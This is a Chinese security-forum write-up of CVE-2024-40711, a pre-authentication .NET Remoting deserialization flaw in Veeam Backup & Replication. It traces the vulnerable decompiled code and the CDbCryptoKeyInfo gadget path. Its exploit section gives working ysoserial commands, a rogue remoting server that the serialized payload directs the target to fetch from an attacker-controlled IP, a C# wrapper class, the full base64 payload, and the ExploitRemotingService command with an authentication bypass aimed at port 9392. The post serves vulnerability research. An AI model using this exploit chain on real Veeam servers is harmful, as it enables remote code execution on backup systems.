奇安信攻防社区-.Net Remoting 系列三：Veeam Backup RCE (CVE-2024-40711)

.Net Remoting 系列三：Veeam Backup RCE (CVE-2024-40711)

本次带来一个相对完整的分析案例

前置知识
----

<https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html>  
<https://github.com/codewhitesec/RogueRemotingServer>

Remoting代码逻辑分析
--------------

按照之前的思路：

1. 注册的Channel类型（全局搜ChannelServices#RegisterChannelInternal）
2. sinkProviderChains
3. TypeFilterLevel
4. 注册的objecturi（全局搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal）
5. 处理消息逻辑（`IServerChannelSink#ProcessMessage`的实现）

首先定位到Veeam.Common.Remoting.dll文件发现有TransportSink和FormatterSink相关的类，但是并没有自定义的ServerChannel，搜索`ChannelServices#RegisterChannelInternal`的调用找到注册ServerChannel的地方：

![Pasted image 20240911111358.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8caddf97a05f943cf69ec767708203f27ada5c40.png)

挨个看过去只有CSrvTcpChannelRegistration类注册了一个tcpServerChannel，具体调用代码如下：

```php
private static TcpServerChannel RegisterChannel(Dictionary<string, string> channelProperties, IServerChannelSinkProvider sinkProvider, CConnectionInterceptor connectionInterceptor)
{
    TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor);
    // 开启认证
    tcpServerChannel.IsSecured = true;
    ChannelServices.RegisterChannel(tcpServerChannel, true);
    CSrvTcpChannelRegistration.LogChannelData(tcpServerChannel);
    return tcpServerChannel;
}
```

注意这里TcpServerChannel传入的有第三个参数CConnectionInterceptor，这里放到后面再说，我们先梳理sinkProviderChains。  
继续查找调用寻找sinkProvider定义的地方：

```php
//其构造函数
private CSrvTcpChannelRegistration(string commonChannelName, int port, IReadOnlyDictionary<string, string> channelProperties, bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
    this._commonChannelName = commonChannelName;
    this._port = port;
    //调用GetSinkProvider方法
    IServerChannelSinkProvider sinkProvider = CSrvTcpChannelRegistration.GetSinkProvider(enableRemotingPerfLog, requireBasicPermission, monitor, impersonation, accessCheckerProvider, mfaProvider);
    CConnectionInterceptor cconnectionInterceptor = new CConnectionInterceptor();
    if (Socket.OSSupportsIPv4)
    {
        TcpServerChannel tcpServerChannel = CSrvTcpChannelRegistration.RegisterChannel(CSrvTcpChannelRegistration.CreateIPv4BindingConfiguration(commonChannelName, channelProperties), sinkProvider, cconnectionInterceptor);
        this._channelIPv4Name = tcpServerChannel.ChannelName;
    }
    ......
}
```

跟进GetSinkProvider方法

```php
private static IServerChannelSinkProvider GetSinkProvider(bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
    IServerChannelSinkProvider serverChannelSinkProvider = new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog, requireBasicPermission, accessCheckerProvider, mfaProvider);
    if (monitor != null)
    {
        serverChannelSinkProvider = new CActivityMonitorServerSinkProvider(monitor, serverChannelSinkProvider);
    }
    if (impersonation != null)
    {
        serverChannelSinkProvider = new CImpersonationServerSinkProvider(impersonation, serverChannelSinkProvider);
    }
    return serverChannelSinkProvider;
}
```

这里使用的是**CBinaryServerFormatterSink**作为FormatterSink，TransportSink使用的默认TcpServerTransportSink，整个服务端的sinkProviderChains：`TcpServerTransportSink → CBinaryServerFormatterSink → DispatchChannelSink`  
同时CBinaryServerFormatterSink中定义了TypeFilterLevel.Low

追溯到启动类发现监听的端口为9392，服务名为`Veeam.Backup.Service.exe`（tcp://IP:9392/VeeamClientUpdateService ）。

最后找到对应的ProcessMessage方法梳理处理消息的逻辑，主要代码如下：

```php
public ServerProcessing ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, out IMessage responseMsg, out ITransportHeaders responseHeaders, out Stream responseStream)
{
    ServerProcessing serverProcessing;
    using (LogRegistration.RegisterSafe(this._logStorage))
    {
        ......
            string text = (string)requestHeaders["Content-Type"];
            string text2 = (string)requestHeaders["__RequestVerb"];
            ......
            //部分省略
                    requestMsg = CBinaryServerFormatterSink.DeserializeBinaryRequestMessage(requestStream, requestHeaders);
                    if (requestMsg == null)
                    {
                        throw new RemotingException("Remoting Deserialize Error");
                    }
                    IMethodMessage methodMessage = requestMsg as IMethodMessage;
                    if (methodMessage != null)
                    {
                        string text3 = requestHeaders["access_token"] as string;
                        Dictionary<string, object> dictionary;
                        EJwtValidationResult ejwtValidationResult = this._mfaProvider.ValidateToken(text3, out dictionary);
                        if (ejwtValidationResult == EJwtValidationResult.Empty || ejwtValidationResult == EJwtValidationResult.Invalid)
                        {
                            this.EnsureMfa(requestHeaders);
                        }
                        this.EnsureAccessIsAllowed(methodMessage);
                    }
                    sinkStack.Push(this, null);
                    ServerProcessing serverProcessing2 = this.CallNextSink(sinkStack, requestMsg, requestHeaders, null, out responseMsg, out responseHeaders, out responseStream);
                    if (responseStream != null)
                    {
                        throw new RemotingException("Remoting_ChnlSink_WantNullResponseStream");
                    }
                    switch (serverProcessing2)
                    {
                    case ServerProcessing.Complete:
                        if (responseMsg == null)
                        {
                            throw new RemotingException("Remoting_DispatchMessage");
                        }
                        sinkStack.Pop(this);
                        this.AddSessionToken(requestHeaders, ref responseHeaders);
                        CBinaryServerFormatterSink.SerializeResponse(sinkStack, responseMsg, ref responseHeaders, out responseStream);
                        this.AdditionalyLogResponse(responseMsg);
                    ......
            }
        }
    }
    return serverProcessing;
}
```

调用DeserializeBinaryRequestMessage方法执行反序列化的操作，也是整个过程中最关键的，实现如下

```php
//Veeam.Common.Remoting.CBinaryServerFormatterSink#DeserializeBinaryRequestMessage
private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders)
{
    IMessage message;
    try
    {
        message = (IMessage)CBinaryServerFormatterSink.CreateFormatter(false).DeserializeMethodResponse(requestStream, new HeaderHandler(new CBinaryServerFormatterSink.UriHeaderHandler(requestHeaders).HeaderHandler), null);
    }
    finally
    {
        requestStream.Close();
    }
    return message;
}

//Veeam.Common.Remoting.CBinaryServerFormatterSink#CreateFormatter
private static BinaryFormatter CreateFormatter(bool serializingResponse)
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    binaryFormatter.Binder = new RestrictedSerializationBinder(serializingResponse, RestrictedSerializationBinder.Modes.FilterByWhitelist);
    binaryFormatter.Context = new StreamingContext(StreamingContextStates.Other);
    binaryFormatter.FilterLevel = TypeFilterLevel.Low;
    binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Full;
    if (!serializingResponse)
    {
        binaryFormatter.SurrogateSelector = new CDataSerializationSurogate();
    }
    else
    {
        ISurrogateSelector surrogateSelector = new RemotingSurrogateSelector();
        surrogateSelector.ChainSelector(new CDataSerializationSurogate());
        binaryFormatter.SurrogateSelector = surrogateSelector;
    }
    return binaryFormatter;
}
```

这儿有两点需要注意：

1. 定义了RestrictedSerializationBinder设置反序列化白名单或黑名单
2. 定义了CDataSerializationSurogate作为formatter的序列化或反序列化处理

首先看RestrictedSerializationBinder是如何防御的，关注ResolveType方法和BindToType方法，如果仅仅使用CustomSerializationBinder是可以绕的，数据流：`CustomSerializationBinder#BindToType-->RestrictedSerializationBinder#ResolveType-->RestrictedSerializationBinder#EnsureTypeIsAllowed`关键代码如下：

```php
// Veeam.Backup.Common.CustomSerializationBinder
    public class CustomSerializationBinder : SerializationBinder
    {
        public override Type BindToType(string assemblyName, string typeName)
        {
            return CustomSerializationBinder.TypeCache.GetOrAdd(new ValueTuple<string, string>(assemblyName, typeName), new Func<ValueTuple<string, string>, Type>(this.ResolveType));
        }

protected virtual Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
        {
            return SBinderHelper.ResolveType(key);
        }

// Veeam.Backup.Common.RestrictedSerializationBinder
    public sealed class RestrictedSerializationBinder : CustomSerializationBinder
    {
        public RestrictedSerializationBinder(bool serializingResponse, RestrictedSerializationBinder.Modes mode = RestrictedSerializationBinder.Modes.FilterByWhitelist)
        {
            this._serializingResponse = serializingResponse;
            this._mode = mode;
        }
        ......
        protected override Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
        {
            this.EnsureTypeIsAllowed(key);
            Type type = base.ResolveType(key);
            RestrictedSerializationBinder.CheckIsRestrictedType(type);
            return type;
        }

private void EnsureTypeIsAllowed([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
        {
            if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting)
            {
                this.EnsuredBlackWhitelistsAreLoaded();
                string text = key.Item2 + ", " + key.Item1;
                if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist)
                {
                    RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(text);
                    return;
                }
                if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist)
                {
                    RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(text);
                }
            }
        }
```

RestrictedSerializationBinder根据传入的mode参数决定使用白名单或黑名单模式，整个Remoting处理用的是白名单模式，这儿并不是先白名单后黑名单校验，而是二选一于是有了可乘之机。

漏洞分析
----

一共五处调用最终找到一处调用使用的是黑名单模式

![Pasted image 20240912103648.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-10d434244a33001a540af56a37d8a897fd28d667.png)

代码如下：

```php
// Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize
public static T Deserialize<T>(string input)
{
    T t;
    try
    {
        byte[] array = Convert.FromBase64String(input);
        BinaryFormatter binaryFormatter = new BinaryFormatter
        {
            Binder = new RestrictedSerializationBinder(false, RestrictedSerializationBinder.Modes.FilterByBlacklist)
        };
        t = CProxyBinaryFormatter.BinaryDeserializeObject<T>(array, binaryFormatter);
    }
```

妥妥的反序列化，老外通过对比补丁新增了一个`ObjRef`的链，该链子在反序列化的过程中只会反序列化`System.Runtime.Remoting.ObjRef`和`System.Exception`，执行命令时不会触发其他黑名单。

可以将`Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize`作为一个跳板，找到一处调用该方法并处于白名单中的类，就能实现RCE。刚好最后老外从白名单找到一个调用该方法的类

```php
// Veeam.Backup.Model.CDbCryptoKeyInfo
private readonly List<CRepairRec> _repairRecs = new List<CRepairRec>();
protected CDbCryptoKeyInfo(SerializationInfo info, StreamingContext context)
{
    this.Id = (Guid)info.GetValue("Id", typeof(Guid));
    byte[] array = (byte[])info.GetValue("KeySetId", typeof(byte[]));
    this.KeySetId = new CKeySetId(array);
    this.KeyType = (EDbCryptoKeyType)((int)info.GetValue("KeyType", typeof(int)));
    this.EncryptedKeyValue = Convert.FromBase64String(info.GetString("DecryptedKeyValue"));
    this.Hint = info.GetString("Hint");
    this.ModificationDateUtc = info.GetDateTime("ModificationDateUtc").SpecifyDateTimeUtc();
    this.CryptoAlg = (ECryptoAlg)info.GetInt32("CryptoAlg");
    this._repairRecs = CProxyBinaryFormatter.Deserialize<CRepairRec>((string[])info.GetValue("RepairRecs", typeof(string[]))).ToList<CRepairRec>();
    this.Version = info.GetInt64("Version");
    this.BackupId = (Guid)info.GetValue("BackupId", typeof(Guid));
    this.IsImported = info.GetBoolean("IsImported");
}
```

总结下：

1. 无需自定义Channel（TcpServerChannel）
2. 开启了认证（CConnectionInterceptor）、low type filter
3. 存在一个URI为tcp://IP:9392/VeeamClientUpdateService
4. 整个利用链.Net Remoting --&gt; CDbCryptoKeyInfo( 白名单 ) --&gt; CProxyBinaryFormatter.Deserialize ( 黑名单objref )--&gt; RCE

EXP构造
-----

需要用到ExploitRemotingService，有点小改动我编译之后放到[这儿了](https://github.com/g7shot/ExploitRemotingService)。这儿的改动其实就是绕过其认证的，将用户密码置空就能绕过，CConnectionInterceptor类实际上未处理只是返回true。

![Pasted image 20240918165455.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f84217c6bbb8711f8a75096708326ce2c3639694.png)

然后构造ObjRef

```php
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c calc > exploit.soapformatter

RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0:2345/aaa exploit.soapformatter

ysoserial.exe -g ObjRef -f BinaryFormatter -c http://10.106.24.105:2345/aaa

// 最终生成AAEAAAD/////AQAAAAAAAAAEAQAAABBTeXN0ZW0uRXhjZXB0aW9uAQAAAAlDbGFzc05hbWUDHlN5c3RlbS5SdW50aW1lLlJlbW90aW5nLk9ialJlZgkCAAAABAIAAAAeU3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuT2JqUmVmAQAAAAN1cmwBBgMAAAAdaHR0cDovLzEwLjEwNi4yNC4xMDU6MjM0NS9hYWEL
```

重定义CDbCryptoKeyInfo序列化过程，传入上面生成的poc序列化：

```php
[Serializable]  
public class CDbCryptoKeyInfoWrapper : ISerializable  
{  
    private string[] _fakeList;

public CDbCryptoKeyInfoWrapper(string[] _fakeList)  
    {  
        this._fakeList = _fakeList;  
    }

public void GetObjectData(SerializationInfo info, StreamingContext context)  
    {  
        info.SetType(typeof(CDbCryptoKeyInfo));  
        info.AddValue("Id", Guid.NewGuid());  
        info.AddValue("KeySetId", null);  
        info.AddValue("KeyType", 1);  
        info.AddValue("Hint", "aaaaa");  
        info.AddValue("DecryptedKeyValue", "AAAA");  
        info.AddValue("LocaleLCID", 0x409);  
        info.AddValue("ModificationDateUtc", new DateTime());  
        info.AddValue("CryptoAlg", 1);  
        info.AddValue("RepairRecs", _fakeList);  
    }  
}
```

传入生成的CDbCryptoKeyInfo序列化数据，再通过ExploitRemotingService发送POC

```php
ExploitRemotingService.exe -s tcp://192.168.45.144:9392/VeeamClientUpdateService raw AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTIuMS4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQUBAAAAI1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcnlwdG9LZXlJbmZvCQAAAAJJZAhLZXlTZXRJZAdLZXlUeXBlBEhpbnQRRGVjcnlwdGVkS2V5VmFsdWUKTG9jYWxlTENJRBNNb2RpZmljYXRpb25EYXRlVXRjCUNyeXB0b0FsZwpSZXBhaXJSZWNzAwIAAQEAAAAGC1N5c3RlbS5HdWlkCAgNCAIAAAAE/f///wtTeXN0ZW0uR3VpZAsAAAACX2ECX2ICX2MCX2QCX2UCX2YCX2cCX2gCX2kCX2oCX2sAAAAAAAAAAAAAAAgHBwICAgICAgIC1f56MNPo3kO39y2SXeUREAoBAAAABgQAAAAFYWFhYWEGBQAAAARBQUFBCQQAAAAAAAAAAAAAAQAAAAkGAAAAEQYAAAABAAAABgcAAADkAUFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQkJUZVhOMFpXMHVSWGhqWlhCMGFXOXVBUUFBQUFsRGJHRnpjMDVoYldVREhsTjVjM1JsYlM1U2RXNTBhVzFsTGxKbGJXOTBhVzVuTGs5aWFsSmxaZ2tDQUFBQUJBSUFBQUFlVTNsemRHVnRMbEoxYm5ScGJXVXVVbVZ0YjNScGJtY3VUMkpxVW1WbUFRQUFBQU4xY213QkJnTUFBQUFkYUhSMGNEb3ZMekV3TGpFd05pNHlOQzR4TURVNk1qTTBOUzloWVdFTAs=
```

![Pasted image 20240918170256.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8a18161568212d30a12b82ba3415822a9b9fe655.png)

总结
--

当`TypeFilterLevel.Low`时，可以尝试反序列化其他符合条件的对象进而触发一些恶意方法实现RCE。

参考
--

<https://github.com/codewhitesec/RogueRemotingServer>  
<https://github.com/tyranid/ExploitRemotingService>  
<https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/>

发表于 2024-12-25 10:42:01
阅读 ( 525 )
分类：WEB安全

.Net Remoting 系列三：Veeam Backup RCE (CVE-2024-40711)

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